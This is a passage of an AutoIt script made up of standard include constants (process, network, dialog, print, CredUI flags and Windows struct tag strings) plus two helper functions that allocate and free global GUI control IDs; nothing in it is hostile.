  969. Global Const $obj_name = 1
  970. Global Const $obj_string = 2
  971. Global Const $obj_progid = 3
  972. Global Const $obj_file = 4
  973. Global Const $obj_module = 5
  974. Global Const $obj_clsid = 6
  975. Global Const $obj_iid = 7
  976. Global Const $exitclose_normal = 0
  977. Global Const $exitclose_byexit = 1
  978. Global Const $exitclose_byclick = 2
  979. Global Const $exitclose_bylogoff = 3
  980. Global Const $exitclose_byshutdown = 4
  981. Global Const $process_stats_memory = 0
  982. Global Const $process_stats_io = 1
  983. Global Const $process_low = 0
  984. Global Const $process_belownormal = 1
  985. Global Const $process_normal = 2
  986. Global Const $process_abovenormal = 3
  987. Global Const $process_high = 4
  988. Global Const $process_realtime = 5
  989. Global Const $run_logon_noprofile = 0
  990. Global Const $run_logon_profile = 1
  991. Global Const $run_logon_network = 2
  992. Global Const $run_logon_inherit = 4
  993. Global Const $sound_nowait = 0
  994. Global Const $sound_wait = 1
  995. Global Const $shex_open = "open"
  996. Global Const $shex_edit = "edit"
  997. Global Const $shex_print = "print"
  998. Global Const $shex_properties = "properties"
  999. Global Const $tcp_data_default = 0
  1000. Global Const $tcp_data_binary = 1
  1001. Global Const $udp_open_default = 0
  1002. Global Const $udp_open_broadcast = 1
  1003. Global Const $udp_data_default = 0
  1004. Global Const $udp_data_binary = 1
  1005. Global Const $udp_data_array = 2
  1006. Global Const $tip_noicon = 0
  1007. Global Const $tip_infoicon = 1
  1008. Global Const $tip_warningicon = 2
  1009. Global Const $tip_erroricon = 3
  1010. Global Const $tip_balloon = 1
  1011. Global Const $tip_center = 2
  1012. Global Const $tip_forcevisible = 4
  1013. Global Const $windows_noontop = 0
  1014. Global Const $windows_ontop = 1
  1015. Global Const $win_state_exists = 1
  1016. Global Const $win_state_visible = 2
  1017. Global Const $win_state_enabled = 4
  1018. Global Const $win_state_active = 8
  1019. Global Const $win_state_minimized = 16
  1020. Global Const $win_state_maximized = 32
  1021. Global Const $_udf_globalids_offset = 2
  1022. Global Const $_udf_globalid_max_win = 16
  1023. Global Const $_udf_startid = 10000
  1024. Global Const $_udf_globalid_max_ids = 55535
  1025. Global Const $__udfguiconstant_ws_tabstop = 65536
  1026. Global Const $__udfguiconstant_ws_visible = 268435456
  1027. Global Const $__udfguiconstant_ws_child = 1073741824
  1028. Global $__g_audf_globalids_used[$_udf_globalid_max_win][$_udf_globalid_max_ids + $_udf_globalids_offset + 1]
  1029.  
  1030. Func __udf_getnextglobalid($hwnd)
  1031. Local $nctrlid, $iusedindex = -1, $ballused = True
  1032. If NOT WinExists($hwnd) Then Return SetError(-1, -1, 0)
  1033. For $iindex = 0 To $_udf_globalid_max_win - 1
  1034. If $__g_audf_globalids_used[$iindex][0] <> 0 Then
  1035. If NOT WinExists($__g_audf_globalids_used[$iindex][0]) Then
  1036. For $x = 0 To UBound($__g_audf_globalids_used, $ubound_columns) - 1
  1037. $__g_audf_globalids_used[$iindex][$x] = 0
  1038. Next
  1039. $__g_audf_globalids_used[$iindex][1] = $_udf_startid
  1040. $ballused = False
  1041. EndIf
  1042. EndIf
  1043. Next
  1044. For $iindex = 0 To $_udf_globalid_max_win - 1
  1045. If $__g_audf_globalids_used[$iindex][0] = $hwnd Then
  1046. $iusedindex = $iindex
  1047. ExitLoop
  1048. EndIf
  1049. Next
  1050. If $iusedindex = -1 Then
  1051. For $iindex = 0 To $_udf_globalid_max_win - 1
  1052. If $__g_audf_globalids_used[$iindex][0] = 0 Then
  1053. $__g_audf_globalids_used[$iindex][0] = $hwnd
  1054. $__g_audf_globalids_used[$iindex][1] = $_udf_startid
  1055. $ballused = False
  1056. $iusedindex = $iindex
  1057. ExitLoop
  1058. EndIf
  1059. Next
  1060. EndIf
  1061. If $iusedindex = -1 AND $ballused Then Return SetError(16, 0, 0)
  1062. If $__g_audf_globalids_used[$iusedindex][1] = $_udf_startid + $_udf_globalid_max_ids Then
  1063. For $iidindex = $_udf_globalids_offset To UBound($__g_audf_globalids_used, $ubound_columns) - 1
  1064. If $__g_audf_globalids_used[$iusedindex][$iidindex] = 0 Then
  1065. $nctrlid = ($iidindex - $_udf_globalids_offset) + 10000
  1066. $__g_audf_globalids_used[$iusedindex][$iidindex] = $nctrlid
  1067. Return $nctrlid
  1068. EndIf
  1069. Next
  1070. Return SetError(-1, $_udf_globalid_max_ids, 0)
  1071. EndIf
  1072. $nctrlid = $__g_audf_globalids_used[$iusedindex][1]
  1073. $__g_audf_globalids_used[$iusedindex][1] += 1
  1074. $__g_audf_globalids_used[$iusedindex][($nctrlid - 10000) + $_udf_globalids_offset] = $nctrlid
  1075. Return $nctrlid
  1076. EndFunc
  1077.  
  1078. Func __udf_freeglobalid($hwnd, $iglobalid)
  1079. If $iglobalid - $_udf_startid < 0 OR $iglobalid - $_udf_startid > $_udf_globalid_max_ids Then Return SetError(-1, 0, False)
  1080. For $iindex = 0 To $_udf_globalid_max_win - 1
  1081. If $__g_audf_globalids_used[$iindex][0] = $hwnd Then
  1082. For $x = $_udf_globalids_offset To UBound($__g_audf_globalids_used, $ubound_columns) - 1
  1083. If $__g_audf_globalids_used[$iindex][$x] = $iglobalid Then
  1084. $__g_audf_globalids_used[$iindex][$x] = 0
  1085. Return True
  1086. EndIf
  1087. Next
  1088. Return SetError(-3, 0, False)
  1089. EndIf
  1090. Next
  1091. Return SetError(-2, 0, False)
  1092. EndFunc
  1093.  
  1094. Global Const $__dlg_wm_user = 1024
  1095. Global Const $bif_browsefilejunctions = 65536
  1096. Global Const $bif_browseforcomputer = 4096
  1097. Global Const $bif_browseforprinter = 8192
  1098. Global Const $bif_browseincludefiles = 16384
  1099. Global Const $bif_browseincludeurls = 128
  1100. Global Const $bif_dontgobelowdomain = 2
  1101. Global Const $bif_editbox = 16
  1102. Global Const $bif_newdialogstyle = 64
  1103. Global Const $bif_nonewfolderbutton = 512
  1104. Global Const $bif_notranslatetargets = 1024
  1105. Global Const $bif_returnfsancestors = 8
  1106. Global Const $bif_returnonlyfsdirs = 1
  1107. Global Const $bif_shareable = 32768
  1108. Global Const $bif_statustext = 4
  1109. Global Const $bif_usenewui = BitOR($bif_editbox, $bif_newdialogstyle)
  1110. Global Const $bif_uahint = 256
  1111. Global Const $bif_validate = 32
  1112. Global Const $bffm_initialized = 1
  1113. Global Const $bffm_iunknown = 5
  1114. Global Const $bffm_selchanged = 2
  1115. Global Const $bffm_validatefailed = 4
  1116. Global Const $bffm_setstatustexta = $__dlg_wm_user + 100
  1117. Global Const $bffm_enableok = $__dlg_wm_user + 101
  1118. Global Const $bffm_setselectiona = $__dlg_wm_user + 102
  1119. Global Const $bffm_setselectionw = $__dlg_wm_user + 103
  1120. Global Const $bffm_setstatustextw = $__dlg_wm_user + 104
  1121. Global Const $bffm_setoktext = $__dlg_wm_user + 105
  1122. Global Const $bffm_setexpanded = $__dlg_wm_user + 106
  1123. Global Const $cderr_dialogfailure = 65535
  1124. Global Const $cderr_findresfailure = 6
  1125. Global Const $cderr_initialization = 2
  1126. Global Const $cderr_loadresfailure = 7
  1127. Global Const $cderr_loadstrfailure = 5
  1128. Global Const $cderr_lockresfailure = 8
  1129. Global Const $cderr_memallocfailure = 9
  1130. Global Const $cderr_memlockfailure = 10
  1131. Global Const $cderr_nohinstance = 4
  1132. Global Const $cderr_nohook = 11
  1133. Global Const $cderr_notemplate = 3
  1134. Global Const $cderr_registermsgfail = 12
  1135. Global Const $cderr_structsize = 1
  1136. Global Const $pderr_createicfailure = 4106
  1137. Global Const $pderr_defaultdifferent = 4108
  1138. Global Const $pderr_dndmmismatch = 4105
  1139. Global Const $pderr_getdevmodefail = 4101
  1140. Global Const $pderr_initfailure = 4102
  1141. Global Const $pderr_loaddrvfailure = 4100
  1142. Global Const $pderr_nodefaultprn = 4104
  1143. Global Const $pderr_nodevices = 4103
  1144. Global Const $pderr_parsefailure = 4098
  1145. Global Const $pderr_printernotfound = 4107
  1146. Global Const $pderr_retdeffailure = 4099
  1147. Global Const $pderr_setupfailure = 4097
  1148. Global Const $cferr_maxlessthanmin = 8194
  1149. Global Const $cferr_nofonts = 8193
  1150. Global Const $fnerr_buffertoosmall = 12291
  1151. Global Const $fnerr_invalidfilename = 12290
  1152. Global Const $fnerr_subclassfailure = 12289
  1153. Global Const $frerr_bufferlengthzero = 16385
  1154. Global Const $fr_dialogterm = 64
  1155. Global Const $fr_down = 1
  1156. Global Const $fr_enablehook = 256
  1157. Global Const $fr_enabletemplate = 512
  1158. Global Const $fr_enabletemplatehandle = 8192
  1159. Global Const $fr_findnext = 8
  1160. Global Const $fr_hideupdown = 16384
  1161. Global Const $fr_hidematchcase = 32768
  1162. Global Const $fr_hidewholeword = 65536
  1163. Global Const $fr_matchcase = 4
  1164. Global Const $fr_nomatchcase = 2048
  1165. Global Const $fr_noupdown = 1024
  1166. Global Const $fr_nowholeword = 4096
  1167. Global Const $fr_replace = 16
  1168. Global Const $fr_replaceall = 32
  1169. Global Const $fr_showhelp = 128
  1170. Global Const $fr_wholeword = 2
  1171. Global Const $shfmt_id_default = 65535
  1172. Global Const $shfmt_opt_full = 0
  1173. Global Const $shfmt_opt_quickformat = 1
  1174. Global Const $shfmt_opt_sysonly = 2
  1175. Global Const $shfmt_error = -1
  1176. Global Const $shfmt_cancel = -2
  1177. Global Const $shfmt_noformat = -3
  1178. Global Const $cdm_first = $__dlg_wm_user + 100
  1179. Global Const $cdm_getspec = $cdm_first
  1180. Global Const $cdm_getfilepath = $cdm_first + 1
  1181. Global Const $cdm_getfolderpath = $cdm_first + 2
  1182. Global Const $cdm_getfolderidlist = $cdm_first + 3
  1183. Global Const $cdm_setcontroltext = $cdm_first + 4
  1184. Global Const $cdm_hidecontrol = $cdm_first + 5
  1185. Global Const $cdm_setdefext = $cdm_first + 6
  1186. Global Const $cdm_last = $__dlg_wm_user + 200
  1187. Global Const $cdn_first = -601
  1188. Global Const $cdn_initdone = $cdn_first
  1189. Global Const $cdn_selchange = $cdn_first - 1
  1190. Global Const $cdn_folderchange = $cdn_first - 2
  1191. Global Const $cdn_shareviolation = $cdn_first - 3
  1192. Global Const $cdn_help = $cdn_first - 4
  1193. Global Const $cdn_fileok = $cdn_first - 5
  1194. Global Const $cdn_typechange = $cdn_first - 6
  1195. Global Const $cdn_includeitem = $cdn_first - 7
  1196. Global Const $cdn_last = -699
  1197. Global Const $psd_defaultminmargins = 0
  1198. Global Const $psd_disablemargins = 16
  1199. Global Const $psd_disableorientation = 256
  1200. Global Const $psd_disablepagepainting = 524288
  1201. Global Const $psd_disablepaper = 512
  1202. Global Const $psd_disableprinter = 32
  1203. Global Const $psd_enablepagepainthook = 262144
  1204. Global Const $psd_enablepagesetuphook = 8192
  1205. Global Const $psd_enablepagesetuptemplate = 32768
  1206. Global Const $psd_enablepagesetuptemplatehandle = 131072
  1207. Global Const $psd_inhundredthsofmillimeters = 8
  1208. Global Const $psd_inthousandthsofinches = 4
  1209. Global Const $psd_margins = 2
  1210. Global Const $psd_minmargins = 1
  1211. Global Const $psd_nonetworkbutton = 2097152
  1212. Global Const $psd_nowarning = 128
  1213. Global Const $psd_returndefault = 1024
  1214. Global Const $psd_showhelp = 2048
  1215. Global Const $wm_psd_pagesetupdlg = $__dlg_wm_user
  1216. Global Const $wm_psd_fullpagerect = $__dlg_wm_user + 1
  1217. Global Const $wm_psd_minmarginrect = $__dlg_wm_user + 2
  1218. Global Const $wm_psd_marginrect = $__dlg_wm_user + 3
  1219. Global Const $wm_psd_greektextrect = $__dlg_wm_user + 4
  1220. Global Const $wm_psd_envstamprect = $__dlg_wm_user + 5
  1221. Global Const $wm_psd_yafullpagerect = $__dlg_wm_user + 6
  1222. Global Const $pd_allpages = 0
  1223. Global Const $pd_collate = 16
  1224. Global Const $pd_currentpage = 4194304
  1225. Global Const $pd_disableprinttofile = 524288
  1226. Global Const $pd_enableprinthook = 4096
  1227. Global Const $pd_enableprinttemplate = 16384
  1228. Global Const $pd_enableprinttemplatehandle = 65536
  1229. Global Const $pd_enablesetuphook = 8192
  1230. Global Const $pd_enablesetuptemplate = 32768
  1231. Global Const $pd_enablesetuptemplatehandle = 131072
  1232. Global Const $pd_exclusionflags = 16777216
  1233. Global Const $pd_hideprinttofile = 1048576
  1234. Global Const $pd_nocurrentpage = 8388608
  1235. Global Const $pd_nonetworkbutton = 2097152
  1236. Global Const $pd_nopagenums = 8
  1237. Global Const $pd_noselection = 4
  1238. Global Const $pd_nowarning = 128
  1239. Global Const $pd_pagenums = 2
  1240. Global Const $pd_printsetup = 64
  1241. Global Const $pd_printtofile = 32
  1242. Global Const $pd_returndc = 256
  1243. Global Const $pd_returndefault = 1024
  1244. Global Const $pd_returnic = 512
  1245. Global Const $pd_selection = 1
  1246. Global Const $pd_showhelp = 2048
  1247. Global Const $pd_usedevmodecopies = 262144
  1248. Global Const $pd_usedevmodecopiesandcollate = $pd_usedevmodecopies
  1249. Global Const $pd_uselargetemplate = 268435456
  1250. Global Const $pd_result_apply = 2
  1251. Global Const $pd_result_cancel = 0
  1252. Global Const $pd_result_print = 1
  1253. Global Const $ewx_logoff = 0
  1254. Global Const $ewx_poweroff = 8
  1255. Global Const $ewx_reboot = 2
  1256. Global Const $ewx_shutdown = 1
  1257. Global Const $ewx_force = 4
  1258. Global Const $ewx_forceifhung = 16
  1259. Global Const $oaif_allow_registration = 1
  1260. Global Const $oaif_register_ext = 2
  1261. Global Const $oaif_exec = 4
  1262. Global Const $oaif_force_registration = 8
  1263. Global Const $oaif_hide_registration = 32
  1264. Global Const $oaif_url_protocol = 64
  1265. Global Const $credui_flags_always_show_ui = 128
  1266. Global Const $credui_flags_complete_username = 2048
  1267. Global Const $credui_flags_do_not_persist = 2
  1268. Global Const $credui_flags_exclude_certificates = 8
  1269. Global Const $credui_flags_expect_confirmation = 131072
  1270. Global Const $credui_flags_generic_credentials = 262144
  1271. Global Const $credui_flags_incorrect_password = 1
  1272. Global Const $credui_flags_keep_username = 1048576
  1273. Global Const $credui_flags_password_only_ok = 512
  1274. Global Const $credui_flags_persist = 4096
  1275. Global Const $credui_flags_request_administrator = 4
  1276. Global Const $credui_flags_require_certificate = 16
  1277. Global Const $credui_flags_require_smartcard = 256
  1278. Global Const $credui_flags_server_credential = 16384
  1279. Global Const $credui_flags_show_save_check_box = 64
  1280. Global Const $credui_flags_username_target_credentials = 524288
  1281. Global Const $credui_flags_validate_username = 1024
  1282. Global Const $creduiwin_authpackage_only = 16
  1283. Global Const $creduiwin_checkbox = 2
  1284. Global Const $creduiwin_enumerate_admins = 256
  1285. Global Const $creduiwin_enumerate_current_user = 512
  1286. Global Const $creduiwin_generic = 1
  1287. Global Const $creduiwin_in_cred_only = 32
  1288. Global Const $creduiwin_secure_prompt = 4096
  1289. Global Const $creduiwin_pack_32_wow = 268435456
  1290. Global Const $creduiwin_preprompting = 8192
  1291. Global Const $str_nocasesense = 0
  1292. Global Const $str_casesense = 1
  1293. Global Const $str_nocasesensebasic = 2
  1294. Global Const $str_stripleading = 1
  1295. Global Const $str_striptrailing = 2
  1296. Global Const $str_stripspaces = 4
  1297. Global Const $str_stripall = 8
  1298. Global Const $str_chrsplit = 0
  1299. Global Const $str_entiresplit = 1
  1300. Global Const $str_nocount = 2
  1301. Global Const $str_regexpmatch = 0
  1302. Global Const $str_regexparraymatch = 1
  1303. Global Const $str_regexparrayfullmatch = 2
  1304. Global Const $str_regexparrayglobalmatch = 3
  1305. Global Const $str_regexparrayglobalfullmatch = 4
  1306. Global Const $str_endisstart = 0
  1307. Global Const $str_endnotstart = 1
  1308. Global Const $sb_ansi = 1
  1309. Global Const $sb_utf16le = 2
  1310. Global Const $sb_utf16be = 3
  1311. Global Const $sb_utf8 = 4
  1312. Global Const $se_utf16 = 0
  1313. Global Const $se_ansi = 1
  1314. Global Const $se_utf8 = 2
  1315. Global Const $str_utf16 = 0
  1316. Global Const $str_ucs2 = 1
  1317. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  1318. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  1319. Global Const $tagsize = "struct;long X;long Y;endstruct"
  1320. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  1321. Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
  1322. Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  1323. Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  1324. Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  1325. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  1326. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
  1327. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  1328. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  1329. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  1330. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  1331. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  1332. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  1333. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
  1334. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  1335. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  1336. Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge"
  1337. Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel"
  1338. Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue"
  1339. Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue"
  1340. Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
  1341. Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel"
  1342. Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow"
  1343. Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas"
  1344. Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount"
  1345. Global Const $taggdip_effectparams_tint = "int Hue; int Amount"
  1346. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  1347. Global Const $taggdipcolormatrix = "float m[25]"
  1348. Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
  1349. Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam
  1350. Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct"
  1351. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  1352. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  1353. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  1354. Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
  1355. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  1356. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  1357. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  1358. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  1359. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  1360. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  1361. Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
  1362. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
  1363. Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  1364. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  1365. Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartID;int iStateID;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  1366. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  1367. Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
  1368. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  1369. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  1370. Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  1371. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  1372. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
  1373. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  1374. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  1375. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  1376. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  1377. Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  1378. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  1379. Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  1380. Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  1381. Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  1382. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  1383. Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  1384. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  1385. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  1386. Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
  1387. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  1388. Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  1389. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  1390. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  1391. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  1392. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  1393. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  1394. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState")
  1395. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  1396. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  1397. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  1398. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  1399. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  1400. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
  1401. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
  1402. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  1403. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
  1404. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  1405. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  1406. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  1407. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  1408. Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
  1409. Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]"
  1410. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
